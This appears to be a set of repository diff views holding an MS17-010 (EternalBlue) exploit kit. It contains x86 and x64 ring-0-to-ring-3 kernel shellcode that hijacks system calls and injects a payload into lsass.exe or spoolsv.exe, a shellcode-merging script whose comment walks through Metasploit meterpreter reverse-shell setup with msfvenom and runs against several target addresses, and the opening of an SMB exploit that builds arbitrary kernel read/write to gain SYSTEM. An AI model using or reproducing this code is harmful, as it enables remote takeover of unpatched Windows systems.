mov al, 0x40 ; eax = 0x40
push rax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push rax ; MEM_COMMIT = 0x1000
; reuse r9 for address of RegionSize
mov [r9], rax ; RegionSize = 0x1000
sub rsp, 0x20 ; shadow stack
mov edi, ZWALLOCATEVIRTUALMEMORY_HASH
call win_api_direct
add rsp, 0x30
%ifndef COMPACT
; check error
test eax, eax
jnz _kernel_kapc_routine_exit
%endif
;======================================
; copy userland payload
;======================================
mov rdi, [rsi]
lea rsi, [rel userland_start]
mov ecx, 0x600 ; fix payload size to 1536 bytes
rep movsb
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov rax, [rbp+DATA_PEB_ADDR_OFFSET]
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; InMemoryOrder list
%ifdef COMPACT
mov rsi, [rax] ; first one always be executable, skip it
lodsq ; skip ntdll.dll
%else
_find_kernel32_dll_loop:
mov rax, [rax] ; first one always be executable
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x50 => is name
; offset 0x20 => is dllbase
;cmp word [rax+0x38], 0x40
;jne _find_kernel32_dll_loop
cmp word [rax+0x48], 0x18
jne _find_kernel32_dll_loop
mov rdx, [rax+0x50]
; check only "32" because name might be lowercase or uppercase
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
%endif
mov r15, [rax+0x20]
mov edi, CREATETHREAD_HASH
call get_proc_addr
; save CreateThread address to SystemArgument1
mov [rbx], rax
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
pop r15
pop rsi
pop rdi
pop rbx
pop rbp
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:

View File

@@ -0,0 +1,568 @@
;
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
;
;
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
;
;
; Note:
; - The userland shellcode is run in a new thread of system process.
; If userland shellcode causes any exception, the system process get killed.
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
; get call because system call is called on other processors.
; - The userland payload MUST be appened to this shellcode.
;
; Reference:
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
BITS 32
ORG 0
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
PSGETPROCESSID_HASH EQU 0x170114e1
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848
CREATETHREAD_HASH EQU 0x835e515e
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
DATA_MODULE_ADDR_OFFSET EQU 0x4
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
DATA_EPROCESS_OFFSET EQU 0xc
DATA_KAPC_OFFSET EQU 0x10
section .text
global shellcode_start
shellcode_start:
setup_syscall_hook:
; IRQL is DISPATCH_LEVEL when got code execution
%ifdef WIN7
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
; set nByteProcessed to free corrupted buffer after return
mov ecx, [eax+0x14]
mov [eax+0x1c], ecx
%elifdef WIN8
%endif
pushad
call _setup_syscall_hook_find_eip
_setup_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
; read current syscall
mov ecx, 0x176
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
cmp eax, edi
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
je _hook_syscall
; save original syscall
mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
; first time on the target, clear the data area
; edx should be zero from rdmsr
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0x176 affects only running processor
mov eax, edi
xor edx, edx
wrmsr
_setup_syscall_hook_done:
popad
%ifdef WIN7
xor eax, eax
%elifdef WIN8
xor eax, eax
%endif
ret 0x24
;========================================================================
; Find memory address in HAL heap for using as data area
; Arguments: ebx = any address in this shellcode
; Return: ebp = data address
;========================================================================
set_ebp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
lea ebp, [ebx + 0x1000]
shr ebp, 12
shl ebp, 12
sub ebp, 0x50 ; for KAPC struct too
ret
syscall_hook:
mov ecx, 0x23
push 0x30
pop fs
mov ds,cx
mov es,cx
mov ecx, dword [fs:0x40]
mov esp, dword [ecx+4]
push ecx ; want this stack space to store original syscall addr
pushfd
pushad
call _syscall_hook_find_eip
_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
cdq
inc edx
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0x176
cdq
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
popad
popfd
ret
r3_to_r0_start:
;======================================
; find nt kernel address
;======================================
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
shr eax, 0xc ; strip to page size
shl eax, 0xc
_find_nt_walk_page:
sub eax, 0x1000 ; walk along page size
cmp word [eax], 0x5a4d ; 'MZ' header
jne _find_nt_walk_page
; save nt address
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov eax, PSGETCURRENTPROCESS_HASH
call win_api_direct
xchg edi, eax ; edi = EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
push edi
call win_api_direct
sub eax, edi
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
; if offset of ImageFilename is 0x170, current is (Win8+)
%ifdef WIN7
lea ebx, [eax+0x1c]
%elifdef WIN8
lea ebx, [eax+0x24]
%else
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
jne _find_eprocess_threadlist_offset_win7
add eax, 0x8
_find_eprocess_threadlist_offset_win7:
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
%endif
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
_find_ethread_threadlist_offset_loop:
mov esi, dword [esi]
; if (esi - edi < 0x400) found
mov edx, esi
sub edx, eax
cmp edx, 0x400
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
push edx ; save offset of ETHREAD.ThreadListEntry to stack
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov eax, PSGETPROCESSID_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; edi = EPROCESS
; ecx = offset of EPROCESS.ImageFilename
; edx = offset of EPROCESS.ActiveProcessLinks
_find_target_process_loop:
lea esi, [edi+ecx]
call calc_hash
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
jz found_target_process
%ifndef COMPACT
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
jz found_target_process
%endif
; next process
mov edi, [edi+edx]
sub edi, edx
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save EPROCESS for finding CreateThread address in kernel KAPC routine
;======================================
mov [ebp+DATA_EPROCESS_OFFSET], edi
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea ebx, [edi+ebx] ; use ebx for iterating thread
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
pop edi ; edi = offset of ETHREAD.ThreadListEntry
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov ebx, [ebx+4]
; no check list head
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
xor eax, eax
push ebp ; context
push 1 ; UserMode
push ebp ; userland shellcode (MUST NOT be NULL)
push eax ; NULL
call _init_kapc_find_kroutine
_init_kapc_find_kroutine:
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
push eax ; OriginalApcEnvironment
push ebx
sub [esp], edi ; ETHREAD
push esi ; KAPC
mov eax, KEINITIALIZEAPC_HASH
call win_api_direct
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code
; SystemArgument2 is third argument in usermode code
xor eax, eax
push eax
push eax ; SystemArgument2
push eax ; SystemArgument1
push esi ; PKAPC
mov eax, KEINSERTQUEUEAPC_HASH
call win_api_direct
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
; EPROCESS pointer 4 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [eax+0xe], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [eax], eax
mov [eax+4], eax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp eax
;========================================================================
; Get function address in specific module
;
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
pushad
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
xchg edi, eax ; edi = hash
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
add edx, ebp ; edx = EAT
mov ecx, dword [edx+0x18] ; NumberOfFunctions
mov ebx, dword [edx+0x20] ; FunctionNames
add ebx, ebp
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
add esi, ebp ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
mov ebx, dword [edx+0x24]
add ebx, ebp ; ordinate table virtual address
mov cx, word [ebx+ecx*2] ; desired functions ordinal
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
add ebx, ebp ; Add the modules base address
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
add eax, ebp ; Add the modules base address to get the functions actual VA
mov [esp+0x1c], eax
popad
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
;========================================================================
calc_hash:
push edx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop edx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
; reorder stack to make everything easier
pop eax
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
pop eax ; PKAPC (unused)
pop ecx ; &NormalRoutine
pop eax ; &NormalContext
pop edx ; &SystemArgument1
pushad
push edx ; &SystemArgument1 (use for set CreateThread address)
push ecx ; &NormalRoutine
mov ebp, [eax] ; *NormalContext is our data area pointer
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
cdq
mov al, 0x40 ; eax = 0x40
push eax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push eax ; MEM_COMMIT = 0x1000
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
push edx ; ZeroBits
mov [ecx], edx
push ecx ; baseAddr = 0
dec edx
push edx ; ProcessHandle = -1
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
call win_api_direct
%ifndef COMPACT
test eax, eax
jnz _kernel_kapc_routine_exit
%endif
;======================================
; copy userland payload
;======================================
pop eax
mov edi, [eax]
call _kernel_kapc_routine_find_userland
_kernel_kapc_routine_find_userland:
pop esi
add esi, userland_start-_kernel_kapc_routine_find_userland
mov ecx, 0x400 ; fix payload size to 1024 bytes
rep movsb
;======================================
; find current PEB
;======================================
mov eax, [ebp+DATA_EPROCESS_OFFSET]
push eax
mov eax, PSGETPROCESSPEB_HASH
call win_api_direct
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov eax, [eax + 0xc] ; PEB->Ldr
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
%ifdef COMPACT
mov esi, [eax] ; first one always be executable, skip it
lodsd ; skip ntdll.dll
%else
_find_kernel32_dll_loop:
mov eax, [eax] ; first one always be executable
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x28 => is name
; offset 0x10 => is dllbase
;cmp word [eax+0x1c], 0x40
;jne _find_kernel32_dll_loop
cmp word [eax+0x24], 0x18
jne _find_kernel32_dll_loop
mov edx, [eax+0x28]
; check only "32" because name might be lowercase or uppercase
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
%endif
mov ebx, [eax+0x10]
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
mov eax, CREATETHREAD_HASH
call get_proc_addr
; save CreateThread address to SystemArgument1
pop ecx
mov [ecx], eax
_kernel_kapc_routine_exit:
xor eax, eax
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
; restore IRQL to APC_LEVEL
inc eax
mov byte [fs:0x24], al
popad
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
pop edx ; saved eip
pop eax ; first argument (NormalContext)
pop eax ; CreateThread address passed from kernel
pop ecx ; another argument (NULL) passed from kernel
push ecx ; lpThreadId = NULL
push ecx ; dwCreationFlags = 0
push ecx ; lpParameter = NULL
call _userland_start_thread_find_payload
_userland_start_thread_find_payload:
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
push ecx ; dwStackSize = 0
push ecx ; lpThreadAttributes = NULL
push edx ; restore saved eip
jmp eax
userland_payload:

View File

@@ -0,0 +1,55 @@
import sys
from struct import pack
if len(sys.argv) < 4:
print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
sys.exit()
sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()
fp = open(sys.argv[3], 'wb')
'''
\x31\xc0 xor eax, eax
\x40 inc eax
\x0f\x84???? jz sc_x64
'''
fp.write('\x31\xc0\x40\x0f\x84'+pack('<I', len(sc_x86)))
fp.write(sc_x86)
fp.write(sc_x64)
fp.close()
'''
Example usage with metasploit meterpreter:
msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set EXITFUNC thread
msf exploit(handler) > set LHOST 0.0.0.0
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit -j
...
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4445
msf exploit(handler) > exploit -j
...
$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4444
...
$ msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4445
...
$ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
$ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
$ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
$ python eternalblue_exploit7.py 192.168.13.81 sc_all.bin
...
$ python eternalblue_exploit7.py 192.168.13.82 sc_all.bin
...
$ python eternalblue_exploit7.py 192.168.13.83 sc_all.bin
...
$ python eternalblue_exploit7.py 192.168.13.84 sc_all.bin
...
'''

456
zzz_exploit.py Normal file
View File

@@ -0,0 +1,456 @@
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack
import sys
import socket
import time
'''
MS17-010 exploit for Windows 7+ x64 by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit support only x64 target
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 x64
- Windows 7 SP1 x64
'''
USERNAME = ''
PASSWORD = ''
'''
Reverse from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
# win8+ info
WIN8_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
TRANS_FLINK_OFFSET = 0x28
TRANS_INPARAM_OFFSET = 0x70
TRANS_OUTPARAM_OFFSET = 0x78
TRANS_INDATA_OFFSET = 0x80
TRANS_OUTDATA_OFFSET = 0x88
TRANS_FUNCTION_OFFSET = 0xb2
TRANS_MID_OFFSET = 0xc0
def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
# Note: TRANSACTION struct size on x64 is 0x100
FRAG_POOL_SIZE = 0
# Burrow 'groom' and 'bride' word from NSA tool
GROOM_TRANS_SIZE = 0x5010 # pool size: 0x5030
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40 # pool header (0x10), srv buffer header of groom and bride (0x20)
def leak_frag_size(conn, tid, fid):
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
if leakData[12:16] == 'Frag':
print('The exploit does not support 32 bit target')
sys.exit()
if leakData[0x14:0x18] != 'Frag':
print('Not found Frag pool tag in leak data')
sys.exit()
# Frag pool size might be 0x10 or 0x20
fragPoolSize = ord(leakData[0x12]) << 4
print('Got frag size: 0x{:x}'.format(fragPoolSize))
global FRAG_POOL_SIZE, BRIDE_TRANS_SIZE
FRAG_POOL_SIZE = fragPoolSize
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40
return fragPoolSize
def align_transaction_and_leak(conn, tid, fid, numFill=4):
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=pack('<HH', fid, 0), totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE+0x100-0x10d0-0x100)
mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-0x100)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
req3 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-0x100, maxParameterCount=0x1000)
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, totalDataCount=BRIDE_TRANS_SIZE-0x200-0x100, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
if leakData[0x14:0x18] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
leakData = leakData[0x10+FRAG_POOL_SIZE:]
# check pool tag and size value in buffer header
expected_size = pack('<H', BRIDE_TRANS_SIZE-4)
if leakData[0x4:0x8] != 'LStr' or leakData[0x10:0x12] != expected_size or leakData[0x22:0x24] != expected_size:
print('No transaction struct in leak data')
return None
leakTrans = leakData[0x20:]
connection_addr, session_addr, treeconnect_addr, flink_value = unpack('<QQQQ', leakTrans[0x10:0x30])
outparam_value, indata_value = unpack('<QQ', leakTrans[TRANS_OUTPARAM_OFFSET:TRANS_OUTPARAM_OFFSET+0x10])
leak_mid = unpack('<H', leakTrans[TRANS_MID_OFFSET:TRANS_MID_OFFSET+2])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(leak_mid))
next_page_addr = (indata_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + GROOM_TRANS_SIZE + FRAG_POOL_SIZE + 0x40 + 0x28 != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': next_page_addr - BRIDE_TRANS_SIZE,
'trans2_addr': flink_value - TRANS_FLINK_OFFSET,
'special_mid': special_mid,
}
def read_data(conn, info, read_addr, read_size):
# create fake InParameters
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<HH', info['fid'], 0), dataDisplacement=0x200)
# modify trans2.InParameter to fake InParameters
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<QQ', info['trans2_addr']+0x200, info['trans2_addr']+TRANS_FLINK_OFFSET) # InParameter, OutParameter
new_data += pack('<QQ', info['trans2_addr']+0x200, read_addr) # InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 16, 16, 16) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=TRANS_INPARAM_OFFSET)
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4f00-0x20, totalParameterCount=0x1000)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 16+read_size)
# set new trans2 address
info['trans2_addr'] = unpack('<Q', read_data[:8])[0] - TRANS_FLINK_OFFSET
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<Q', info['trans2_addr']), paramDisplacement=TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
wait_for_request_processed(conn)
return read_data[16:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<Q', write_addr), dataDisplacement=TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
